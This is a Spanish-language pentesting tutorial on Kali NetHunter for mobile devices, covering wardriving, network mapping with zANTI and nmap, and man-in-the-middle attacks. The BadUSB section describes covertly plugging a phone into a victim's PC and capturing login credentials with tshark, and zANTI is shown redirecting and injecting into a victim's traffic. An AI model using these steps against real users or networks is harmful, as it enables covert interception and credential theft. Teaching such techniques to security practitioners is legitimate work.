¿Por qué hacer pentesting desde tu movil?

Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin
embargo, habrá ocasiones en las que vas a requerí una flexibilidad o movilidad mayor para una o
varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes
mencionado.
En cambio, con un movil puedes aproximarte más a la solución que estás buscando para esta
situación, ya sea que quieras utilizar tú teléfono u otro dispositivo movil como una Tablet. Existen
diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer,
existe un dispositivo llamado “Pwnie Express”, este es un dispositivo movil con la potencia en
hardware suficiente para llevar a cabo tareas de pentesting, además ya viene precargado con
herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes
descrito.

Por obvias razones este dispositivo tiene un costo un poco elevado, así que si puedes adquirirlo,
tendrás una ventaja grande, ya que si con anterioridad habías hecho tareas de pentesting desde
el movil entenderás de que estoy hablando, sin embargo, existe otra forma que se puede igualar
a ello.

Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o
básico para dispositivos móviles (En su mayoría Android) que permiten hacer “Hacking o
Pentesting”, en algún un momento remoto pueden llegar a ser útiles, pero jamás serán igual de
eficientes y completas que el software o las herramientas que se encuentran en una distribución
para pentesting, en este caso se trata de Kali NetHunter.

Esta es una distribución para pentesting lanzada por Offensive Security (Desarrolladores de Kali
Linux), en donde podrás encontrar una extensa variedad de herramientas para hacer pentesting y
realizar pruebas del mismo tópico, obviamente no encontrarás todo lo existente en Kali Linux en
Kali NetHunter, ya que habrá funcionalidades sobre las que un movil no se presta para ejecutar,
por ende, esta distribución contiene menos coas, pero las suficientes para poder hacer bien el
trabajo, y pos supuesto, habrá algunas que instalarás manualmente, ya que Kali NetHunter no las
trae viene precargadas, un último detalle es que Kali NetHunter puede funcionar en conjunto con
tu dispositivo movil sin generar gran diferencia, no es “tener Linux instalado”, ya que Kali NetHunter
opera sobre Android.

En esta primera parte del libro, aprenderás a utilizar un dispositivo movil para realizar pentesting
de diferentes maneras mediante vectores de ataque distintos, aquí lo haremos de 2 formas:

 Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el
movil.
 Haciendo uso de las herramientas existentes en Kali NetHunter.
¿Cómo configurar un movil para que
funcione con Kali NetHunter?
Un detalle que no se puede dejar pasar es la compatibilidad, así es, los desarrolladores de Kali
NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el más
reciente el día de hoy, que se trata del OnePlus One, ya que los demás móviles no se prestan para
que Kali NetHunter cumpla con su funcionamiento adecuado.
Obviamente hay demás modelos de teléfonos que operan actualmente con la distro, sin embargo,
Offensive Security publicó una lista de los dispositivos móviles que oficialmente se les puede
instalar y tener funcionando a la perfección a Kali NetHunter, si encuentras otros dispositivos
ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial,
estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles
Kali NetHunter:
Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 o OnePlus One

Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p
“Boot” algo sale mal (qué es muy común), el dispositivo puede sufrir daños irreversibles y puede
quedar inutilizable, por lo que requerirá un “Hard Reset”, por ello solo es recomendable utilizar a
Kali NetHunter solamente sobre los dispositivos antes mencionados.

Para el caso de este libro, el movil que se utilizó para hacer las demostraciones fue el Nexus 6.
IMPORTANTE: Existen diferentes métodos para conseguir la instalación de Kali NetHunter en un
dispositivo movil, unas mejores que otras, pero existe un detalle, todas… TODAS tienen algo en
común, lo laborioso, por lo que te resultará mucho más complejo encontrar instrucciones en texto.
Debajo habrá el URL de un video en donde encontrarás la forma más confiable para conseguir
esta instalación, sin embargo, en el material referente a este capítulo encontrarás el Software
requerido para completar esta instalación.

Le otorgamos el crédito del video y aspectos de Copyright a la persona que es dueña de este
metraje.
https://www.youtube.com/watch?v=Tb_0nOGnTUI

Una vez que hayas finalizado la instalación y los pasos para dejar listo el movil para realizar
pentesting, podrás dar inicio a los temas que encontrarás a partir de la página siguiente,
asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo movil. En el enlace de
abajo encontrarás más info a detalle sobre Kali NetHunter:
https://www.kali.org/kali-linux-nethunter/
Recolección de información desde tu móvil.
Descubrimiento y análisis de Redes (WarDriving).
Esta acción nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el
área donde estamos situados, además que se nos puede presentar la posibilidad de explotar
conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino,
(esto puede ser caminando, manejando). Para hacer WarDriving necesitarás un dispositivo
que cuente con una antena interna o externa que esté trabajando en modo promiscuo, este
dispositivo puede ser una Laptop o un móvil, entre lo que se puede obtener gracias al
WarDriving se encuentra bastante información útil como lo es:

 SSID´s de los AP (Access Points)

 Intensidad de los Access Points
 Tipo de cifrado del password que protege al AP
 Canal de Red
 Direccion MAC

Uso de Wifi Analyzer

Toda la información anteriormente enumerada se puede conseguir mediante el uso de una App
llamada “Wifi Analyzer”, además de que nos permite realizar otras tareas como monitoreo
de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points),
hacer uso de un medidor de señal, etc.

Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargará e
instalará.

Imagen 1.1: Búsqueda de Wifi Analyzer

 Imagen 2.2: Wifi Analyzer listo para usarse.

Luego de haberse instalado la aplicación la abriremos, al hacer esto, Wifi Analyzer

automáticamente encontrará las redes inalámbricas que estén funcionales en el área donde
estemos.

Mostrando así un gráfico que indica las intensidades de la señal de los Access Points
hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el número de esta
unidad de medida, más fuerte será nuestra señal, asi como se ejemplifica en la imagen. En
este caso el AP con la señal más fuerte es “430FFST”, que es al que está conectado el
dispositivo:
 Imagen 3.3: Grafica de Access Points y sus intensidades de señal.

Una vez identificado el canal Wi-Fi, podremos obtener más información detallada sobre este,
como puede ser la obtención de un gráfico en tiempo acerca de los Access Points que
hallemos, también la enumeración de los Access Points encontrados, etc.

Para visualizar esto, abriremos un pequeño menú desplegable que se encuentra en la parte
superior derecha de la App, donde se mostrará distintas funciones, indicándonos la que
estamos llevando a cabo en ese momento, a continuación, realizaremos cada una de estas:

Imagen 4.4 y 1.5: Funciones de visualización de Wifi Analyzer

 Gráfico de tiempo: Este nos permite monitorear en tiempo real el comportamiento de los
canales Wi-Fi que se encuentren en el aréa, de esta forma se puede tener una
comprension mejor acerca del comportamiento de ciertos Access Points y sus canales
Wi-Fi.
En el siguiente ejemplo se muestra la unidad de medida para la fuerza de la señal (dBm), los
nombres de los Access Points y su respectivo color de distinción al cual al seleccionar una
determinada red, su señal se resaltará en el color que se muestre en nombre del Access Point
que queramos seleccionar:
 Imagen 5.6, 1.7 y 1.8: Muestra de gráfico de tiempo sobre distintos AP´s.

 Puntuación de Canales: Esta función lo que hace es mostrarnos los mejores canales en
nuestro Access Point y los que más están siendo usados, en donde se puede visualizar el
Nombre del AP, el canal actual sobre el que opera y su “Rating” o puntuación de cada uno
de estos canales.

Esto puede llegar a ser bastante útil ya que se puede saber que canales están siendo
utilizados por ciertas redes, con esto se puede evadir el “LAG” en el tráfico de la red, y asi
obtener una señal más fuerte para la red que se establezca en un área, en la siguiente
demostración se ejemplificará esto.
 Imagen 6.9 y 2.0: Puntuación de canales y el rango de estos, sobre el cual operan ciertos Access Points.

 Listado de Access Points: Al visualizar la lista de los AP´s encontrados, podemos hallar
información útil como es: la dirección fisca de cada AP (dirección MAC), la dirección IP,
el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado
de la intensidad de la señal que emite este AP, también la intensidad en su medición exacta
de dBm que también se muestra en tiempo real, el canal en el que opera este AP y la
compañía o marca que fabrico el hardware del router:

I magen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.
 Medidor de señal: Esta función nos permite realizar la medición en tiempo real de la
intensidad de la señal del Access Point que se haya escogido, esto se puede hacer desde
el botón anteriormente descrito, ya que desde ahí se enumeran las redes Wi-Fi disponibles
en el área.
También nos muestra el nombre de cada AP y su dirección MAC, al realizar la medición los
datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:

Imagen 2.2: Medición de intensidad de señal Imagen 2.3: Lista de Access Points disponibles.
del AP “430FFST”.

Como se demostró en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad,
ya que nos permite encontrar redes inalámbricas y obtener información detallada de estas
mediante el uso de diferentes dispositivos, ya sea un AP, una computadora portátil o un móvil,
todo esto mientras recorremos una determinado locación o área.

Esta acción se puede definir como el Mapeo de los Access Points en un área definida, esto
puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo
de ataques.
Recolección de información y Network Mapping.
Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo,
podemos obtener mayor información acerca de esta. En donde lejos de saber la Dirección
MAC del router, nombre de la red, intensidad de su señal, canales sobre los que opera, etc. Es
momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto se
puede conseguir gracias al “Network Mapping” o Mapeo de redes.

La función principal de esto es la proporcionar una descripción visual de la red objetivo,

identificando los dispositivos que estén conectados a estas (Hosts) y obtener información sobre
estos.

El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estén
abiertos, cerrados y filtrados, asi como el nombre y version de los servicios asociados a estos,
como es de saberse, mientras más información tengamos sobre nuestro objetivo, mayores
posibilidades de éxito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta
acción, las que más ventajas nos dan son:

 Identificar Hosts
 Detección de S.O
 Análisis de red.
 Escaneo de puertos
 Fingerprinting de Servicios.

Uso de zANTI.

ZANTI es un framework que nos permite llevar a cabo tareas de recolección de información,
además de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de
direcciones MAC, auditar la complejidad de passwords, etc.

En esta serie de demostraciones se ejemplificará con el apoyo de esta herramienta el escaneo

de Hosts en nuestra red.
 NOTA: Este software no está disponible en PlayStore, por lo que se tendrá que conseguir
en su página oficial, en donde solo tendrás que ingresar un e-mail donde se enviarán las
instrucciones de su descarga e instalación en el móvil:

https://www.zimperium.com/zanti-mobile-penetration-testing

Imagen 2.4: Campo para ingresar e-mail en

Zimperium.

Imagen 2.5: Recepción de email.

 Una vez completada esta instalación, abrimos el Framework y seguido de eso nos mostrará
los hosts encontrados mediante un escaneo rápido que hace al iniciar, esto no quiere decir
que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos
conectados a esta red, realizaremos una vez más este escaneo, con el botón “Refresh”.

Al hacer esto aparecerá y nuevo recuadro indicándonos la función del mapeo y mostrando 2
opciones, “Borrar registros” y “Análisis intrusivo”, por ahora solo habilitaremos la primera
y seleccionaremos OK para comenzar el escaneo. Más adelante trabajaremos con la
segunda función:
 Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.

 Esperamos a que el escaneo finalice. Al terminar se mostraran los dispositivos conectados

(Hosts) a esta red, indicando el sistema operativo con el que cada dispositivo cuenta, su
dirección IP y su correspondiente dirección MAC (Ambas censuradas) , también el número
de puertos abiertos que estos Hosts tengan:

Imagen 2.8: Mapeo de red finalizado.

Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista
y poder llevar a cabo múltiples acciones con ellos, en este ejemplo se usará el dispositivo
número dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al
seleccionarlo podemos ver 3 columnas:
Comentarios: En esta sección podemos escribir notas acerca del objetivo seleccionado en
zANTI:
 Imagen 2.9: Sección de comentarios.

Acerca de: Es en donde automáticamente nos dirigen al escoger un dispositivo de la lista,

dentro de esta columna se encuentran diferentes funciones para llevarse a cabo sobre el host
o dispositivo, como pueden ser las acciones operativas de hacer análisis más completos
hacia este dispositivo, establecer conexiones con él, etc. Asi como también está el repertorio
de ataques, que más adelante veremos.

 Dirección IP y MAC: Es la dirección que identifica al objetivo seleccionado y la otra es su

dirección física.
 Nombre: Nombre correspondiente al Host.
 Puertos: Enumeración de los puertos abiertos sobre los cuales se podría llevar a cabo la
explotación de este dispositivo o sistema informático, en este caso se encuentran abiertos los
puertos 137, 135, 139, 443, 445, 902, 912, 5357, 6646.

Imagen 3.0: Columna principal (Acerca de).

 Análisis Nmap: Dentro de esta columna se encuentra la información recopilada mediante
Nmap, esta se obtuvo al momento en el que se mapeó la red para poder identificar los
dispositivos conectados a esta. Al visualizar la información conseguida por Nmap, se
enumerarán todas las direcciones IP de los hosts de los dispositivos que estén dentro de
nuestra red, así como la información obtenida acerca de ellos, aquí un ejemplo con el
dispositivo que seleccionamos:

 PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren
abiertos, cerrados o filtrados. En el caso de los abiertos en la columna “Service” se encuentra
la información acerca del servicio que actualmente está ejecutándose en él, así como detalles
sobre versión, etc.

 Running OS: En el momento que se realiza el escaneo se lleva a cabo un Fingerprinting,

este Fingerprint lo que hace es recolectar información detallada acerca del sistema operativo
que corre en el dispositivo actual, en este caso solo son suposiciones (JUST GUESSING),
en donde nos mostrará los posibles sistemas operativos con los que puede operar este
dispositivo, en este caso se menciona a Vista/ Windows 7 con una posibilidad del 93%:

Imagen 3.1: Resultados de Nmap acerca del objetivo.

Haremos otra demostración con un diferente Host u Objetivo que se encuentra dentro de
nuestra red, en este ejemplo se trata de un Host con S.O Linux, su respectivo nombre del Host
, que es “OWASPBWA”, así como también vemos que cuenta con 10 puertos abiertos:

Imagen 3.2: Host enumerado en la lista con su descripción.

Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la
demostración anterior para poder ver más información detallada acerca de este Host, como es
número de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este
estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137.
En la columna “Análisis con Nmap” se podrá encontrar información acerca de los servicios
en los puertos abiertos del Host, así como el protocolo con el que funciona el puerto, el nombre
del servicio, etc:
 Imagen 3.3, 3.4 y 3.5: Descripción del Host e información recopilada con Nmap por zANTI

NOTA: zANTI hace que la información recolectada por Nmap se visible de una forma organizada
y entendible para el usuario, sin embargo esto no quiere decir que solo por este método
haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las
distribuciones para pentesting, la forma más rápida de inicializar Nmap es desde la terminal
de comandos, simplemente ejecutando “nmap –h”:

Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal,
esta se encuentra en el menú de aplicaciones, su icono identificador es el siguiente:

Imagen 3.6: Ubicación de terminal en el repertorio de aplicaciones.

Puesto a que ocuparemos bastante la terminal de comandos de NetHunter, será necesario

explicar algunas cosas antes de continuar. Al momento de que decidimos abrir una terminal en
nuestro dispositivo con NetHunter nos aparecerán 3 opciones, estas 3 opciones son diferentes
tipos de shells, (KALI, ANDROID Y ANDROIDSU):
 Imagen 3.7: Shells para su selección.

KALI: Al escoger esta shell, se nos abrirá una terminal de comandos bastante parecida a las
que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la
ejecución de comandos que se involucren o sean afín con las funciones para hacer
pentesting desde nuestro dispositivo Nexus, así como también hacer uso de las
herramientas que trae consigo NetHunter:

Imagen 3.8: Shell de Kali en NetHunter.

ANDRIOD: Por su significado “Android Super User”, aquí se nos provee de una shell de tipo
Unix, en donde podremos realizar la ejecución de comandos con distinta finalidad a los de la
shell de KALI, aquí nos arrojan la shell sobre los directorios del sistema Android, sin embargo
no podremos ejecutarlos todos o llevar a cabo una exploración completa, ya que no tenemos
privilegios de carácter administrativo en esta shell:

Imagen 3.9 y 4.0: Shell de Android y permisos denegados.

 ANDROIDSU: Esta shell solo aparece en dispositivos rooteados, por lo que NetHunter
muestra su existencia de esta shell, su función principal es la ejecución de comandos como
Súper Usuarios, por lo que se nos otorgan permisos de carácter administrativo o de
máxima autoridad en el sistema:

Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.

Ahora que entendemos la finalidad de cada uno de los tipos shell, escogeremos aquella que
nos permita hacer uso de las herramientas que dispone NetHunter, la shell de Kali. Al abrirse
la terminal ejecutaremos el comando: nmap -sV -O “Direccion IP del Host”, lo que nos
mostrará los información detallada acerca de ls servicios funcionando en cada puerto abierto
del host especificado, asi como los detalles acerca del S.O de ese Host, la siguientes
demostraciones serán sobre el Host “OWASPWBA” y el Host “USER”:

 Host OWASPBWA:

Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host “OWASPBWA”.

 Host USER:
Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host “USER”.
Ataques Man in the Middle mediante NetHunter.
Después de haber finalizado con la fase de recolección de información usando un dispositivo
móvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar
a cabo múltiples tareas relacionadas con la recolección de información, desde escaneo e
identificación de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener
información detallada acerca de las redes que se encuentran en el área que transitemos, todo
desde esta aplicación.

Habrá ocasiones en las que se requerirá algo de movilidad y una mayor discreción para
llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea
LAN o WLAN, ya que el uso de un computador portátil o laptop resulta inadecuado para realizar
estos ataques en un cierto tipo de ambientes, aquí es el momento en el que entra Kali
NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the
Middle).

Gracias al apoyo de estas podremos ver información sensible dentro del trafico al que le
haremos sniffing con la ayuda de nuestro dispositivo móvil y el apoyo de las herramientas que
trae consigo, en donde conseguiremos realizar una irrupción en algún canal de comunicación
legítimo y confiable.

Así para poder conseguir cierta información que supuestamente solo está destinado el usuario
a leer, a lo largo de este segundo módulo se hará uso de las herramientas que trae consigo
NetHunter para realizar ataques de tipo MITM, los cuales serán:

 BADUSB MITM Attack.

 MITM con zANTI
Ataque MITM mediante BADUSB.

Los usos y capacidades avanzadas de la implementación de hardware USB para su uso

en actividades de espionaje cibernético es todavía algo que mucha gente en el área de la
informática desconoce. Los profesionales de seguridad requieren del uso de las herramientas
y el equipo correcto para poder realizar ataques en un determinado ambiente, y entre las
herramientas de apoyo que más destacan par estas tareas se encuentra la BADUSB, esta
es una herramienta capaz de poner en peligro y comprometer las comunicaciones de línea
fija por USB a través de un ataque Man in the Middle.

¿Cómo es que funciona?

El funcionamiento de este vector de ataque consiste básicamente en conectar el dispositivo
móvil a un PC, se enciende el dispositivo y se conecta al equipo mediante un cable USB,
cuando se conecta a un equipo víctima el móvil actuará como una interfaz de red, al conectar
el cable USB a un PC obligará a todo el tráfico del ordenador (Windows o Linux) pasar a
través del dispositivo NetHunter, en donde estaremos posicionados como Man in the Middle
esperando a que el tráfico pasa por nuestro móvil.
NOTA: Para que este ataque función debe estar habilitada la transferencia de datos vía USB
(MTP):

Imagen 4.8: Conexión MTP.

1. Bad USB MITM ATTACK.
En este primer ataque se utilizará el dispositivo Nexus con Kali NetHunter para realizar MITM,
esto se conseguirá al conectarlo al equipo objetivo mediante un cable USB, lo que usualmente
se hace para transferir archivos entre los 2 equipos o solamente para poner a cargar nuestro
móvil, aquí es donde interviene un uso bastante simple de ingeniería social. Así que lo se
hará en este primer escenario será conectar nuestro móvil al equipo víctima, mientras está
corriendo nuestro ataque Bad USB, al hacer esto el ordenador no reconocerá al móvil
conectado como un dispositivo multimedia o de almacenamiento externo, si no como una
tarjeta de red o interfaz de red, por lo que al conectarlo pasará de tener una conexión Wi-
Fi a tener una tipo “Wired” (Ethernet), en caso de que fuese lo contrario, solo cambiará el
nombre o número de interfaz de red (Eth3 , Eth5, Eth6, etc) de lo cual será lo único extraño
que llegará a notar la víctima, básicamente nuestro móvil actuará como una tarjeta de red,
por la cual pasará todo el tráfico entre el cliente y servidor, donde el cliente será la víctima y
el servidor será el Router o AP (Access Point)

Preparando lo necesario:
Antes de conectar el dispositivo al ordenador objetivo, será necesario realizar algunas
configuraciones previas a la conexión por USB, ya que si se conecta como se acostumbra
a hacerlo, no se capturará nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo
escogeremos la de tipo “KALI”, que será sobre la que trabajaremos. Dentro, navegaremos
hacia el directorio “/sdcard/nh_files” en donde se hallan archivos que serán parte de nuestra
configuracion.
NOTA: La ubicación del directorio “/sdcard” puede variar.

Dentro del directorio, se encuentra un archivo con extensión .txt, con nombre “Flushiptables”,
el cual contiene líneas con comandos que se encargarán de establecer una configuración
para despejar las IP Tables en Linux, esto lo haremos mediante el comando “bash
Flushiptables.txt” asi nuestro móvil funcionará como una tarjeta de red para que el tráfico
fluya por nuestro dispositivo. Todo ya está listo para iniciar nuestro ataque por mediante Bad
USB mediante el menú de Kali NetHunter.
 Imagen 4.9 y 5.0: Directorio de Flushiptables.txt

Sin embargo no está de más demostrar como iniciar este ataque mediante la terminal de Kali
en tu dispositivo, para esto, navegaremos al directorio “/configs”, que se encuentra en la
carpeta “/nh_files”, dentro se hallan 2 archivos con extensión .sh, con nombre
“startbadusb”, uno version kitkat y otro version lollipop, en este caso usaremos el segundo,
ya que esta es la version de Android que trae el movil Nexus, para esto ejecutaremos el
comando “bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al
ejecutarse se mostrará la version de las iptables, la interfaz sobre la que está corriendo el
script de BADUSB (rndis), y su tipo “hid” (Human interface device)

Imagen 5.1: Comando Bash.

Ahora ya sabemos cómo iniciar el ataque mediante línea de comandos en una
terminal de Kali dentro de nuestro dispositivo, ahora es momento de hacerlo de la
manera más rápida mediante el menú de NetHunter, escogiendo la opción llamada
“Bad USB MITM Attack”.
Una vez dentro de la función “Bad USB MITM
Attack”, nos aparecerán múltiples opciones,
así como la descripción de la función Bad USB
y la interfaz con la que contamos en el
dispositivo para esta tarea, en este caso se
trata de “rndis0”.

En la parte superior, aparecerán 2 opciones,

una para iniciar el ataque y otra para
detenerlo, lo iniciamos con la primera (Start
BadUSB Attack). Al hacer esto inmediatamente
nos aparecerá un recuadro indicándonos que
Kali NetHunter ha otorgado permisos tipo root
para trabajar sobre esta función, esto aparece
cada que se ejecuta un ataque desde tu movil
con NetHunter.

Imagen 5.2 y 5.3: Menú de ataque BADUSB

Ahora que hemos configurado parte del hardware y haber puesto en acción el ataque, con
esto configurado se puede conectar el teléfono al equipo ajeno al que se le quiere hacer
sniffing mediante MITM, ya que los paquetes están pasando por nuestro movil, el cual está
actuando como una tarjeta de red, simplemente podemos visualizar el tráfico desde nuestro
movil, el detalle está en que solo lo dejamos “cargando” un momento en el equipo ajeno,
por lo que sería bastante sospechoso e ingenuo estar usando el movil para visualizar
paquetes y tráfico, mientras está conectado al equipo objetivo, es por esto que pondremos a
trabajar una herramienta llamada “tshark”.
Lo que hará será filtrar en un archivo de extensión .cap todo el tráfico que este fluyendo por
nuestro movil que tiene corriendo un MITM, de esta manera, podremos revisar este archivo
de captura con nuestro analizador de red preferido, en este ejemplo se usará Wireshark.
NOTA: Wireshark visualizará el archivo desde una computadora, no desde el movil.

Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos
encontrábamos: tshark -i rndis0 -w “Nombre del archivo de captura” .cap
Donde:
 tshark: hace uso de la herramienta
 -i: Indica la interfaz, en este caso rndis0, que se vio en la función de Bad USB MITM
Attack en el menú de NetHunter.
 -w: Aquí se especifica el nombre del archivo de captura con extensión .cap
Al ejecutar esto, tshark, comenzará a filtrar los paquetes, indicándonos con un contador los
paquetes filtrados, el archivo de captura se guardará dentro el directorio que se ejecute el
comando, en esta demostración se recorrió un directorio para que se guardará en “nh_files”:

Imagen 5.4: Configuración de tshark

 Ahora, que tenemos el ataque corriendo mediante la terminal, también mediante el menú de
NetHunter y teniendo a tshark trabajando, es momento de conectar con un cable USB
nuestro móvil al equipo objetivo.
NOTA: Recuerda habilitar el modo MTP, para que la PC reconozca el dispositivo y este
después se convierta en una “tarjeta de red” para el equipo.
Ya que hayamos conectado el móvil al equipo, este automáticamente cambiará de ser un
dispositivo multimedia o extraíble a convertirse en un adaptador de red para el equipo,
por lo que es posible que aparezca un aviso de una nueva conexión establecida, la cual
generó el móvil, a simple vista para el usuario promedio-intermedio, esto será lo único extraño
que va a percatar, si es que le presta atención al aviso que dura unos segundos. En la
siguiente imagen se muestra el centro de redes y recursos compartidos en Windows, donde
aparecen las 2 conexiones existentes, en donde Ethernet 3, enumerada como “Red 5” es la
conexión que se generó con el móvil:

Imagen 5.5: Dispositivo reconocido como tarjeta de red

Ahora, que está conectado al equipo y configurado con un MITM corriendo, solo queda esperar
a que esta persona continúe con su rutina navegación o a que pase un intervalo de tiempo
para que recojamos el movil después.

En este ejemplo, durante el tiempo que estuvo conectado el movil se navegó hacia diferentes
sitios web que usan protocolo HTTP, los cuales contienen uno o más formularios de Loggeo,
por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan
servicios que contenga alguna página con algún login, y puesto a que tenemos un MITM
corriendo y capturando el tráfico que pasa del cliente al router, la información que pase por
esas páginas o formularios estará expuesta a que la podamos leer con posterioridad.
Los sitios visitados se verán enumerados por el analizador de red que ocuparemos para
visualizar el archivo de captura, aquí un ejemplo de envío de credenciales ficticias en uno de
los sitios visitados:

Imagen 5.6 y 5.7: Intento de Loggeo.

Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque,
simplemente se desconectará el movil del equipo y terminaremos el proceso de tshark, para
hacerlo basta con presionar el botón del volumen bajo y presionar C en el teclado, en
NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal
de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de
captura y seguido de la finalización del proceso:

Imagen 5.8: Detención de tshark.

Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que generó tshark
de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de
estos paquetes, los cuales se visualizarán con Wireshark.
 Imagen 5.9: Directorio en donde se ubica el archivo .cap

NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark,
cabe mencionar que esta herramienta está disponible para Windows, Mac y Linux.

Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de él, abriremos Wireshark,
el cual se puede iniciar mediante línea de comandos o desde el menú de aplicaciones en la
categoría de “Sniffing/Spoofing”:

Imagen 6.0 y 6.1: Transferencia de archivo .cap e inicio de Wireshark.

Una vez abierto Wireshark, no importa que plataforma se use para trabajar con él,
estando dentro, seleccionaremos la opciones “Open a capture file”, desde de la cual
navegaremos hacia donde tengamos el archivo .cap y lo abriremos:
 Imagen 6.2: Wireshark.

Una vez abierto, se mostrará todo el contenido del archivo de captura, organizándose por
columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo,
tamaño, e información o descripción del paquete:

Imagen 6.3, 6.4 y 6.5: Ubicación y visualización de paquete contenedor de

Usuario y password.
 2. MITM mediante zANTI
Hasta este punto hemos terminado con las configuraciones para ataques MITM de forma
manual para poder realizar la captura del tráfico, ahora es momento de usar herramientas
automatizadas para hacer estos ataques. Como se vio en el capítulo anterior, zANTI es una
herramienta bastante extensa que cuenta con un repertorio de funciones bastante amplio para
trabajar sobre una red inalámbrica y llevar a cabo tareas como enumeración de hosts,
identificación de puertos y servicios como se vio anteriormente. Entre las acciones de ataque
que se pueden realizar con zANTI se encuentran los ataques MITM, en donde lejos de solo
hacer la captura de tráfico y passwords como las herramientas anteriores, nos permite llevar a
cabo acciones como:
 El re direccionamiento de una página hacia otra.
 Filtrar las imágenes que el navegador del host victima visualiza en ciertas páginas.
 insertar código HTML en las páginas interceptadas.
 Remplazar las imágenes que contenga un sitio determinado por la de nuestra preferencia y
demás funciones con las que cuenta.
En las siguientes demostraciones se ejemplificará el uso de las funciones antes mencionadas
mediante pruebas a un host en una red Wi-Fi.

Redirección hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se
puede filtrar, retener o alterar el trafico, una forma de ejemplificarlo es mediante el
redireccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opcion
“Redirigir HTTP” en donde solo tendremos que cambiar el link que viene por defecto por el de
nuestra preferencia:
Seguido de esto, nos saldremos del input y ya estará corriendo estará funcionando esta acción.
¿Qué es lo que hará? Al activarla, todo el trafico que contenga protocolo HTTP será redirigido
al enlace o URL que proporcionamos, es decir, toda pagina que el host objetivo visite y use
protocolo HTTP será redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:
 Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde
seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de
ataque hacia este, en donde seleccionarmeos la categoria Man in the Middle:

Imagen 6.6 y 6.7: Escaneo y selección de ataque MITM en zANTI.

Ya seleccionada la acción de ataque “Man in the Middle” pasaremos a un nuevo panel en

donde encontraremos las funciones para trabajar con esta modalidad de ataque, en este
panel podremos ver la IP del objetivo seleccionado para ataque MITM, el boton de
inicio/detencion del ataque, las opciones de uso y tipo de MITM. Para poder iniciar un
ataque MITM desde zANTI, se tendrá que configurar las opciones del mismo e iniciarlo con
el boton de la parte superior derecha, en el caso de que se quiera detener, se pulsa de nuevo
el botón:

Imagen 6.8: Apagado y encendido de la acción de ataque.

 Imagen 6.9: Selección de método de ataque MITM.

 Pedidos registrados: Aquí se visualizarán las peticiones http/https que se hagan en red por
parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran
las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.

 Imágenes registradas: Aquí se filtrarán las imágenes que se visualizen en el navegador al

ingresar a ciertos sitios web, similar al funcionamiento de Drifnet, esta acción nos permitirá
visualizar en nuestro dispositivo las imágenes que se carguen en el navegador victima, en el
siguiente eejmplo se demostrará su uso mediante la busqueda de imágenes en Google desde
el navegador victima, mostrandolas posteriormente en el dispositivo:

Imagen 7.0: Imagen Filtrada.

 Método MITM: Hay dos métodos disponibles: ARP (Address Resolution Protocol) e ICMP
